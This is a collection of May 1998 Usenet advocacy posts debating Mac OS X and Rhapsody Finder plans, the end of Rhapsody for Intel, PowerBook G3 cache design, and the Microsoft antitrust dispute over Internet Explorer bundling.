Carbon and a few apps that use Carbon ? Nope. Under MacOS 8, you can
still use the trusty old MacOS 8 Finder.
Under MacOS X, Apple can then use the 'MacOS X Finder', which is an
updated and improved version of the Rhapsody Workspace manager.
The MacOS 8 and MacOS X Finders do not need to be based on the same
code, not even on the same framework(s).
>Carbon apps run under OS8, it appears YB apps will not (not appears, now I
>remember someone stating this). They need to do a Carbon Finder for exactly
>the same reasons they need to do Carbon in general.
Um, huh ? Carbon will be running on two platforms: MacOS 8, and MacOS X.
Each of these platforms will offer a Finder application of their own;
Carbon is not involved at all. Carbon is for bringing legacy MacOS <=8
applications to run under MacOS X; however, MacOS X will supply its
own user environment, including the 'Finder', so that will _not_ need
to be ported. Likewise under MacOS 8, the old Finder is still working,
so you don't need to port it there, either.
>> Yellow is a great development environment.
>
> Please - no need to tell ME this, I do it for a living.
Good for you :)
>> Supposedly Apple's been working on the Yellow Finder for Rhapsody
>
> I doubt doubt this either, but at a minimum they need both.
Nope - Apple need a MacOS 8 Finder, and they need a Rhapsody
Finder. Both should (be able to be made to) offer vastly similar user
experiences, but need not in any way be related code-wise.
(OR am I missing something ? I don't _think_ I am ....)
>
>Maury
>
// Christian Brunschen
From: Mark Jackson <markdj@shell.rmi.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 20 May 1998 06:12:38 GMT
Organization: Rocky Mountain Internet - 1(800)-900-RMII
Message-ID: <6jts8m$5jn$1@news1.rmi.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net> <6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net> <6iq2sd$b9r$1@news0-alterdial.uu.net> <6jgeqk$kkg$1@bolivia.it.earthlink.net>
User-Agent: tin/pre-1.4-971106 (UNIX) (SunOS/5.5 (i86pc))
"What Hurts Us, Hurts Industry".
This is *true*. Right now MS *is* the industry!
<pause>
Which is exactly *why* the DOJ is pursuing the case! In a strange
sort of way, MS may actually be hurting their case by using this
approach...
They claim that the market should decide, not the government.
Fine, if the market is going to decide something, it needs to have
choices. Not whatever MS decides for them.
Ok, how do we let the market decide?
Right now the market=MS.
Which is the whole point of the case!!!
MS needs to offer choices, then. And stop choosing for consumers.
We all know what they choose is in their self interest. (They're
commercial, after all) Bundling is the way they chose to drive
Netscape out of business.
But the free market *should* be free to choose!
While you're considering the alternatives, take the time to look
a little bit more seriously at Linux than you normally would. You
may be surprised at what you find. You *are* free to choose,... right?
Mark
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Followup-To: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 20 May 1998 06:16:56 GMT
Organization: University of Maryland, College Park
Message-ID: <6jtsgo$39g$1@hecate.umd.edu>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <joe.ragosta-0905981301430001@elk37.dol.net> <6jpt7o$arg@netaxs.com> <joe.ragosta-1905980947140001@wil115.dol.net> <6jtnkh$cfk$4@nntp2.ba.best.com>
Nathan Keir Edel (edel@best.com_SPAMBLOCK) wrote:
: In comp.sys.mac.portables Joe Ragosta <joe.ragosta@dol.net> wrote:
: > > Not all that much work. Just the fact that the 233s run on a 740
: > > processor with no backside cache instead of the 750s found in the others
: > > is enough to eliminate most of the g3's advantages.
: > Think Celeron.
: Think Celeron, any number of cheap PC motherboards (Pentium, 486, or 386)
: where some schmuck decided to save a very few bucks and dropped the L2
: cache.
: Consider that for some benchmarks a 1:1 cache:core Pentium Pro 200 will
: outpace a 1:2 cache:core P-II 300
Is there such a benchmark? What benchmark is this? Stream?
: Think 1400/117, 5300, and the base configuration of most early PowerMacs
: (6100,7100,7200... though at least these can take a cache card)
: Cache is important. So is bus speed, bus width, and RAM quality. Despite the
: lack of a backside cache (does anyone know if they have a regular L2 or just
: no cache at all?) the new G3 Series are far, far, better than the 1400s.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Wed, 20 May 1998 03:08:54 -0700
Message-ID: <see-below-2005980308550001@209.24.240.28>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu>
In article <rmcassid-2005980144360001@dialin9111.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <6jtt5c$q8k$1@news.cmc.net>, com.occam@leonvs wrote:
>
> > >From: Jordan Dea-Mattson <jordan@apple.com>
> > >Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
> > >fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
> >
> > Note the choice of words here: "PC Compatibles".
> >
> > Is it possible that Steve and Jordan have chosen their words carefully
> > so as to allow for the possibility of Mac OS X for IA-64 (i.e. Merced)?
> >
> > OK, maybe it's a stretch, or wishful thinking....
>
> Maybe, but _everything_ Steve says is carefully chosen words, IMO.
>
> The 'Building a Business Case' thread should be a call for *all*
> Rhapsody/Intel supporters to action. And it shows that Apple is being
> open. Jordan didn't need to post to a public listserve and incur the email
> wrath of a relatively large community if they didn't mean it to some
> degree.
>
> At the same time, I don't really understand why so much work is being put
> into drivers for Rhapsody/Intel 1.0 only to claim that drivers are too
> much work for 2.0. Hell, most of the work is done. And it's been stated
> that dual platform support should get a lot easier when Mach 3.0 is the
> foundation.
>
> Apple is clearly creating options for itself. We just need to show that
> Rhapsody/Intel is a justifyable option. We might also be better off
> picking a smaller, but more critical target like Merced. Would we rather
> have first class Merced support the day Merced systems ships in exchange
> for the end of Rhapsody x86? I think I would. Time to focus.
I wonder if Apple agrees with us, but is doing this for other reasons.
Don't forget that a big part of the legal case against Microsoft is now
predicated on the perception that Microsoft has no meaningful competitors
in the OS market on Intel PCs. This allows them to treat Microsoft like a
public utility worthy of regulation. Any supremely good commercial
operating system directly competing with Windows would only bolster
Microsoft's contention that anyone could come along and steal Microsoft's
market, if only they had a better product.
And if some legal action were to effectively weaken Microsoft's ability to
kill OS competitors, guess who would be ready to step in with the perfect
"alternative" OS to bundle on millions of PCs. One could go farther, and
speculate that last summer's Apple-Microsoft agreement might have involved
certain unsavory dealings that wouldn't help Microroft's case were they to
be revelealed in a courtroom at a particularly opportune moment.
At the same time, it would appear to satisfy a short-sighted Bill Gates,
since he's likely happier if Apple leaves his markets alone.
..
zzzzzz
.zzzzzz...Huh? Oh! Sorry, nodded off there, I hope I wasn't dreaming out
loud. Been known to happen.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 06:44:21 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jud9k$go1$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu> <6jmlqi$lms$1@ligarius.ultra.net> <6jru1d$pj8@aaron.hamilton.edu> <Josh.McKee-1905982007350001@pm3a22.rmac.net>
Joshua T. McKee wrote in message ...
>In article <6jru1d$pj8@aaron.hamilton.edu>, jmalloy@hamilton.edu (Joseph
>T. Malloy) wrote:
>
>> John Saunders (jws@jws.ultranet.com) wrote:
>
>> There are plenty of perfectly legal and practical ways of getting FAT32
>> without buying a new system. For example, purchase a new hard drive --
>> and you can get it with Windows 95 OSR2 installed or loaded on it if the
>> dealer you're dealing with offers it (yeah, yeah, of course you won't
need
>> a hard drive, but for those that do, it's a good deal). Of course, that
>> may be a little to obvious for you...don't let it stand in the way of a
>> bad rant -- hey, how about the one that goes, "FAT32 is a kludge"?
>
>
>The most practicle way to get FAT32 would be to walk into a computer
>store, pick up a box that contains "Windows 95 OSR2" release and buy it.
>I don't consider having to purchase additional hardware (the HD) very
>practicle when I could just purchase the product separately.
>
Josh, you've got the quoting wrong here. The comment about "practicle" isn't
mine.
>Josh
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 06:49:49 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jud9l$go1$2@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <atlauren-1905982222320001@dialin33464.slip.uci.edu>
Andrew Laurence wrote in message ...
>In article <6jtgif$vp6$7@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>>>This is the whole point! MS turned parts of an application into a
>>>vital OS component. All you basically get from this is the inability
>>>to fully uninstall IE, and a less useful help system in Visual Studio
>>>5 than you had in version 4.
>>
>>They've imbedded vital functionality into the operating system.
>
>Bullshit. They've broken out the app's functions (like the HTML renderer,
>which is used by Quicken) into software libraries which can be utilized by
>software applications. This is far different than imbedding functionality
>into the operating system.
If you equate "operating system" to "kernel and drivers", then you're right.
But if the operating system is the kernel and drivers and libraries and
applets, then they certainly did embed web browsing functionality into the
operating system. Though I think I'd say they "included it as a feature of
the OS".
>
>Mind you, I happen to think that the dll-izing of IE is rather cool, the
>advantages of code reuse and all that.
>
>>Same as they
>>did with the file system.
>
>Referring to what, exactly?
>
>>Or TCP/IP (remember when TCP/IP packages were Big
>>Things?).
>
>Different case entirely. There was extensive precendent for an operating
>system vendor to include their own TCP/IP stack. Now that I think about
>it, MS was the *last* major OS vendor to include their own IP stack. As
>such, it was only a matter of time before the IP stack markets for
>Netmanage, FTP Software, et. al. was preemted. (Corrections from the
>crowd?)
>
I agree there was precedent. The two cases are similar in that, by including
TCP/IP with the system, MS has greatly reduced the market for third-party
TCP/IP suites.
And there's precedent for including a web browser with the system, as well.
Most operating systems include one now (usually Netscape Navigator).
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 06:53:34 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jud9m$go1$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu> <6jtgig$vp6$9@ligarius.ultra.net> <atlauren-1905982226470001@dialin33464.slip.uci.edu>
Andrew Laurence wrote in message ...
>In article <6jtgig$vp6$9@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>>>Or did MS
>>>decide to sneak the HTML renderer into the kernal specifically so that it
>>>couldn't be removed?
>>
>>It's not in the kernel. It's in a .DLL.
>
>Ergo, IE4 is not "essential functionality imbedded [sic] into the
>operating system." (See earlier post.)
It's essential to any software vendor whose products depend on Microsoft
maintaining published interfaces.
I do not like the use of the term "embedded" to describe this. Is TCP/IP
"embedded"? Then why can I have a system that only talks IPX? But it's
included, and as a third-party, I can depend on TCP/IP being available to
all Windows 95 customers (whether they use it or not). In the same way, I
can depend on web browsing being available. I can confidently create a
product which depends on these features, given that Microsoft doesn't
generally remove documented features from the system.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 06:55:42 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jud9m$go1$4@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu> <6jtgig$vp6$9@ligarius.ultra.net> <rmcassid-2005980018530001@dialin9111.slip.uci.edu>
Robert Cassidy wrote in message ...
>In article <6jtgig$vp6$9@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Robert Cassidy wrote in message ...
>
>> >Does an OS need a specific file or subset of files to run - like an HTML
>> >renderer? Or can we swap in an alternative?
>>
>> No. It does not need a specific file (or rather, if it does, that would
be a
>> Big Clue for DOJ).
>>
>> In general, one activates COM components (and ActiveX controls are COM
>> components) via a binary GUID. The component is supposed to enter into
the
>> registry an association between the GUID and such things as the location
of
>> the .DLL file for the component. The theory is that the caller doesn't
care
>> which .DLL file the component came from. Or who the vendor is.
>
>This suggests an even Bigger Clue for the DOJ as what you describe
>suggests that the .dll could be swapped out, a new entry placed in the
>registry to create the appropriate mapping and IE would be effectively
>gone without having to change any code anywhere (assuming equal
>functionality among browsers). So you could substitute, but not eliminate,
>without any real harm - theoretically at least.
>
>> >If the point is to have local HTML based help, why can't Netscape
>> >substitute?
>>
>> Because Netscape has decided to implement their code so that it cannot
>> provide this feature.
>
>Fair enough.
>
>> >If it can substitute, then IE can be removed, no?
>>
>> I assume so. I would be surprised to find any running code that depends
on
>> the name of the .DLL the IWebBrowser2 interface is implemented in.
>
>But that removal would cause some functionality to be lost (anything
>requiring an HTML renderer to load in).
Yes, but it could be replaced with any other piece of code that implements
IWebBrowser2. Including Netscape's if they recoded it that way.
John Saunders
jws@jws.ultranet.com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: future of mac programming
Date: 20 May 1998 04:16:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jue1g$sbr@nntp02.primenet.com>
References: <6j7me9$so3$1@newsfep4.sprintmail.com> <MPG.fc14db42395aa139896a2@news.supernews.com> <6j84dp$vln$1@crib.bevc.blacksburg.va.us> <spam_panda-1905982118030001@lexcas36.mis.net> <6jti21$6a$1@crib.bevc.blacksburg.va.us>
Nathan Urban <nurban@vt.edu> wrote:
: > Best advice: Ditch the MacOS entirely. Get MkLinux, 68K Linux, or NetBSD.
: > Help develop an operating system. Join the Free Software Revolution!
: Gee, I just thought I wanted to use the system that lets me get my work
: done the easiest. When did I have to join a revolution to do that? I'm
: not interested in developing an operating system anyway. I'm interested
: in writing tools for the operating system I like, which is not Linux.
: (Well, Linux isn't bad. Just not the best. Good core OS. But what's
: on top of it could be better.)
For the day job you should do whatever the customer wants (usually Visual
C++ or UNIX/C, but sometimes Yellow Box). Linux gives you a lever for
UNIX/C programming, but as you say, it is not the easiest environment. It
is unfinished...
But an unfinished OS has its own attractions. You can get in on the
ground floor hand help define and build things. There are people using
Objective-C on the Gnome desktop project. That may be an interesting
project for some. Gnome apps may be harder to build than OpenStep apps,
but they will be used. And you don't have to worry (yet) about MS Office
rolling over on you. (www.gnome.org)
As I view the twists and turns of the commercial programming world, I am
glad that some people are working on Linux. It's nice that a lot of
people are trying to fix the ease-of-use problems. I'm glad because Linux
is an OS no one can cancel, and no one can price out of my reach.
John
Date: Wed, 20 May 1998 07:54:38 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Message-ID: <joe.ragosta-2005980754380001@wil131.dol.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com>
In article <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com>,
"Robb" <REMOVErobbh@home.com> wrote:
> > > Yes, rhapsody for intel 1.0 will be out, but this will be the end of
> rhapsody
> > > for intel. Its true.
>
>
> Is that truely the official word then? No more Rhapsody for Intel. Its
> unfortunate. I've been monitoring a piece called Project Heresy on
> Builder.com and Cnet Radio...
> http://www.news.com/Radio/Features/0,155,205,0.html
> ...where they're discussing Windows alternatives for Intel users. They
> couldn't get BeOS to work due to lack of compatable video divers or some
> such. So now their focused on Lunix. Lunix sounds like a powerful OS, but
> is still a bit of a science project to install and configure. I was
> suprised Rhapsody for Intel wasn't even mentioned in the article. But I
> suppose it never really had a chance. Too bad.
I don't think it's necessarily too late. Please send Apple your
comments--particularly at <leadership@apple.com>. Snail mail addressed to
Jobs is probably more effective.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 20 May 1998 07:56:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-2005980756060001@wil131.dol.net>
References: <joe.ragosta-1905980805010001@wil104.dol.net> <B18716F1-2ACF3@206.165.43.112>
In article <B18716F1-2ACF3@206.165.43.112>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >That's the point. They haven't put an ending date on it because it's the
> >plan for the indefinite future until changed. There _is_ no other plan, so
> >if you want a crossplatform environment, use YB.
> >
>
>
> But be prepared to pay a $20/unit fee for the Windows XX version since like
> as not, Rhaposdy will be priced *higher* than Windows NT because it is a
> server-only OS in APple's eyes and durned few people will buy Rhaposdy just
> to run applications.
Nope. The $20 per unit is _initial_ pricing. Apple has clearly stated the
intent of eliminating DPS and making the Windows YB license free as soon
as they can.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 20 May 1998 07:57:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Message-ID: <joe.ragosta-2005980757100001@wil131.dol.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com> <6jtluv$dc7$6@nntp2.ba.best.com>
In article <6jtluv$dc7$6@nntp2.ba.best.com>, mr_boxster@nospam_yahoo.com
(MR_boxster) wrote:
> In this thread....
>
> >In article <joe.ragosta-1905982053010001@elk125.dol.net>, joe.ragosta@dol.net
> > (Joe Ragosta) wrote:
> >>In article <6jt7tt$enb$1@newsfep4.sprintmail.com>, macghod@concentric.net
> >> wrote:
> >>
>
> >>It was a bad decision, but not the disaster you're implying. Since they'll
> >>be able to run YB on NT or Win9x, they can use YB without buying new
> >>hardware.
> >>
>
> But in another thread, he wrote:
>
> Joe Ragosta wrote:
> > But dropping Rhapsody for Intel is, IMHO, a serious mistake because it
> > loses much of the _promise_ of Rhapsody. There are a ton of Windows users
> > who want something better that runs on their hardware, but don't know
> > enough to use Linux. Rhapsody would fit the bill.
>
>
>
> So what is it? Waffling on your position again.
Not at all--but I can understand that you wouldn't understand a clear
position if it bit you on the nose.
I believe it's a serious mistake as I said. At the same time, I do NOT
believe that it's the end of Apple as macghod claimed. Is that too
difficult?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "David McCabe" <david.mccabe@balliol.oxford.ac.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 12:46:27 +0100
Organization: Oxford University
Message-ID: <6jufq7$mrb$1@news.ox.ac.uk>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu> <6jtgig$vp6$9@ligarius.ultra.net> <atlauren-1905982226470001@dialin33464.slip.uci.edu>
Andrew Laurence wrote in message ...
>In article <6jtgig$vp6$9@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>>>Or did MS
>>>decide to sneak the HTML renderer into the kernal specifically so that it
>>>couldn't be removed?
>>
>>It's not in the kernel. It's in a .DLL.
>
>Ergo, IE4 is not "essential functionality imbedded [sic] into the
>operating system." (See earlier post.)
Ridiculous. The OS is not simply a kernel with drivers any more. It is a
collection of services to applications. This includes a kernel and device
drivers, together with software libraries such as the internet access
functionality present in Win98 and NT4. It is essential to the workings of
the OS shell and to applications that run under the OS, so it is a 'feature'
of the OS, and easily 'essential'.
>
>--
>Andrew Laurence atlauren@uci.edu
>Office of Academic Computing http://www.oac.uci.edu/~atlauren/
>UC Irvine
>
>"Perceive the need."
--
David McCabe
david.mccabe@balliol.oxford.ac.uk
From: ghickenNOSPAM@ghicken.smart.net (Gary J. Hicken)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 20 May 1998 12:09:54 GMT
Organization: Smartnet Internet Services [via news]
Message-ID: <slrn6m5219.275.ghickenNOSPAM@ghicken.smart.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net>
<6imcmk$oj1$3@ligarius.ultra.net>
<01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM>
<6ioone$clv$5@ligarius.ultra.net>
<01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>
<6ir7p5$nt$4@ligarius.ultra.net>
<rmcassid-0705980012000001@dialin33419.slip.uci.edu>
<6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net>
<rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu>
<6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu>
<6jrlp4$krr$1@nargun.cc.uq.edu.au>
<rmcassid-1905981449580001@dante.eng.uci.edu> <6jtgig$vp6$9@ligarius.ultra.net> <atlauren-1905982226470001@dialin33464.slip.uci.edu>
In article <atlauren-1905982226470001@dialin33464.slip.uci.edu>, Andrew Laurence
wrote:
>In article <6jtgig$vp6$9@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>>>Or did MS
>>>decide to sneak the HTML renderer into the kernal specifically so that it
>>>couldn't be removed?
>>
>>It's not in the kernel. It's in a .DLL.
>
>Ergo, IE4 is not "essential functionality imbedded [sic] into the
>operating system." (See earlier post.)
>
Ergo, Microsoft could stop telling everybody it's an essential part of Windows
98 and offer Windows 98 without it, avoiding having a court of law force them
to remove it at the expense of taxpayers.
--
Gary Hicken
remove NOSPAM
Date: Wed, 20 May 1998 08:35:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2005980835190001@wil131.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <see-below-1805981651140001@209.24.240.36> <6jrme4$4rf$1@ns3.vrx.net> <see-below-1905981944230001@209.24.240.108>
In article <see-below-1905981944230001@209.24.240.108>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> Thanks for the follow-up, Maury. I guess we still don't know, though
> despite the MacNN report and quoted e-mail, it still appears that
> Rhapsody/Intel is dead?
>
> I can certainly see Apple's point about driver support and all that. Maybe
> they'd reconsider if/when there is some simpler PC standard to support
> without legacy issues. Or maybe they're writing off the whole market, and
> banking on future advantages (Rhapsody combined with PPC improvements such
> as copper or VMX/AltiVec) to sell lots of PPC hardware. But I don't see
> why they'd want to go away, only to return later. Seems better to keep
> modestly upgrading it in the meantime.
I _don't_ buy the story about driver support.
1. They're releasing Rhapsody/Intel v. 1.0. So, there will be at least a
minimum of drivers already written. Dropping Rhaptel after you've done the
work doesn't make sense.
2. There were a significant number of drivers from NeXTStep.
3. The I/O Kit is supposed to be so great that driver development is a
piece of cake.
4. I'd be willing to settle for a limited subset. Pick the 20 most popular
motherboards, 20 most popular video cards, and so on. Send out a Rhapsody
compatibility list like the WinNT compatibility list.
If drivers were the issue, version 1.0 would never appear. Since it's
appearing, I don't believe the explanation.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 20 May 1998 08:29:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2005980829560001@wil131.dol.net>
